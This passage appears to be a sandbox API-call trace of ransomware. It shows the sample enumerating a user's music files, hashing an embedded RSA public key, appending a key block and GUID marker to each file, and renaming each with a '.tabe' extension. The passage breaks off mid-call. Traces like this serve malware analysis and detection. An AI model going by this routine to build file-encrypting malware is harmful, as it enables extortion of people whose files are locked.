[0127.447] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.447] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.447] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.447] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af8038 [0127.447] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x2606, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.448] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.448] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.448] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.448] CloseHandle (hObject=0x618) returned 1 [0127.449] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\G_F7SLAxVx-rbEUDn_2.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\g_f7slaxvx-rbeudn_2.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\G_F7SLAxVx-rbEUDn_2.wav.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\g_f7slaxvx-rbeudn_2.wav.tabe")) returned 1 [0127.450] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c5db20, ftCreationTime.dwHighDateTime=0x1d5ddee, ftLastAccessTime.dwLowDateTime=0xa84c91f0, ftLastAccessTime.dwHighDateTime=0x1d5d9eb, ftLastWriteTime.dwLowDateTime=0xa84c91f0, ftLastWriteTime.dwHighDateTime=0x1d5d9eb, nFileSizeHigh=0x0, nFileSizeLow=0x17125, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="o-WiklLFgJ3hNiI.mp3", cAlternateFileName="O-WIKL~1.MP3")) returned 1 [0127.450] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\o-WiklLFgJ3hNiI.mp3") returned=".mp3" [0127.450] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\o-WiklLFgJ3hNiI.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\o-wikllfgj3hnii.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.450] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=94501) returned 1 [0127.450] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.451] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x170ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.451] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.453] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x17125, lpOverlapped=0x0) returned 1 [0127.459] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.459] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.459] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.459] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0127.461] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.461] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.461] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.461] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.461] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.461] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0127.461] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.461] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.461] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.462] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af8038 [0127.462] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x17125, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.462] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.462] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.462] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.462] CloseHandle (hObject=0x618) returned 1 [0127.464] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\o-WiklLFgJ3hNiI.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\o-wikllfgj3hnii.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\o-WiklLFgJ3hNiI.mp3.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\o-wikllfgj3hnii.mp3.tabe")) returned 1 [0127.465] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd52300, ftCreationTime.dwHighDateTime=0x1d5e147, ftLastAccessTime.dwLowDateTime=0x2ec65040, ftLastAccessTime.dwHighDateTime=0x1d5de56, ftLastWriteTime.dwLowDateTime=0x2ec65040, ftLastWriteTime.dwHighDateTime=0x1d5de56, nFileSizeHigh=0x0, nFileSizeLow=0x156bf, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="pVrUr7YpbNQ.mp3", cAlternateFileName="PVRUR7~1.MP3")) returned 1 [0127.465] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\pVrUr7YpbNQ.mp3") returned=".mp3" [0127.465] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\pVrUr7YpbNQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\pvrur7ypbnq.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.467] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=87743) returned 1 [0127.467] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.469] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15699, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.469] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.470] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x156bf, lpOverlapped=0x0) returned 1 [0127.471] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.471] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.471] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.471] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0127.472] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.472] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.472] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.472] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.472] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.472] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0127.472] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.472] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.472] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.472] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af8038 [0127.473] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x156bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.473] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.473] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.473] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.473] CloseHandle (hObject=0x618) returned 1 [0127.474] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\pVrUr7YpbNQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\pvrur7ypbnq.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\pVrUr7YpbNQ.mp3.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\pvrur7ypbnq.mp3.tabe")) returned 1 [0127.476] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3b79c30, ftCreationTime.dwHighDateTime=0x1d5e5b3, ftLastAccessTime.dwLowDateTime=0xb1727590, ftLastAccessTime.dwHighDateTime=0x1d5dcfe, ftLastWriteTime.dwLowDateTime=0xb1727590, ftLastWriteTime.dwHighDateTime=0x1d5dcfe, nFileSizeHigh=0x0, nFileSizeLow=0x7cf1, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="S QS-3fGgN XMALeTUy.mp3", cAlternateFileName="SQS-3F~1.MP3")) returned 1 [0127.476] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\S QS-3fGgN XMALeTUy.mp3") returned=".mp3" [0127.476] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\S QS-3fGgN XMALeTUy.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\s qs-3fggn xmaletuy.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.476] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=31985) returned 1 [0127.476] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.477] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7ccb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.477] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.478] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x7cf1, lpOverlapped=0x0) returned 1 [0127.479] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.479] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.479] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.479] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0127.480] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.480] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.480] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.480] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.480] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.480] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0127.480] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.480] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.480] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.480] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af8038 [0127.481] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7cf1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.481] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.481] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.481] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.481] CloseHandle (hObject=0x618) returned 1 [0127.482] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\S QS-3fGgN XMALeTUy.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\s qs-3fggn xmaletuy.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\S QS-3fGgN XMALeTUy.mp3.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\s qs-3fggn xmaletuy.mp3.tabe")) returned 1 [0127.483] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3b79c30, ftCreationTime.dwHighDateTime=0x1d5e5b3, ftLastAccessTime.dwLowDateTime=0xb1727590, ftLastAccessTime.dwHighDateTime=0x1d5dcfe, ftLastWriteTime.dwLowDateTime=0xb1727590, ftLastWriteTime.dwHighDateTime=0x1d5dcfe, nFileSizeHigh=0x0, nFileSizeLow=0x7cf1, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="S QS-3fGgN XMALeTUy.mp3", cAlternateFileName="SQS-3F~1.MP3")) returned 0 [0127.483] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.483] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.483] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.483] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\BquPTmFwSg r_ r54uDJ\\") returned="BquPTmFwSg r_ r54uDJ\\" [0127.483] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\") returned="FtYbuj0\\" [0127.483] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0127.483] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.483] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.483] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.483] PathFindFileNameW (pszPath="") returned="" [0127.483] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 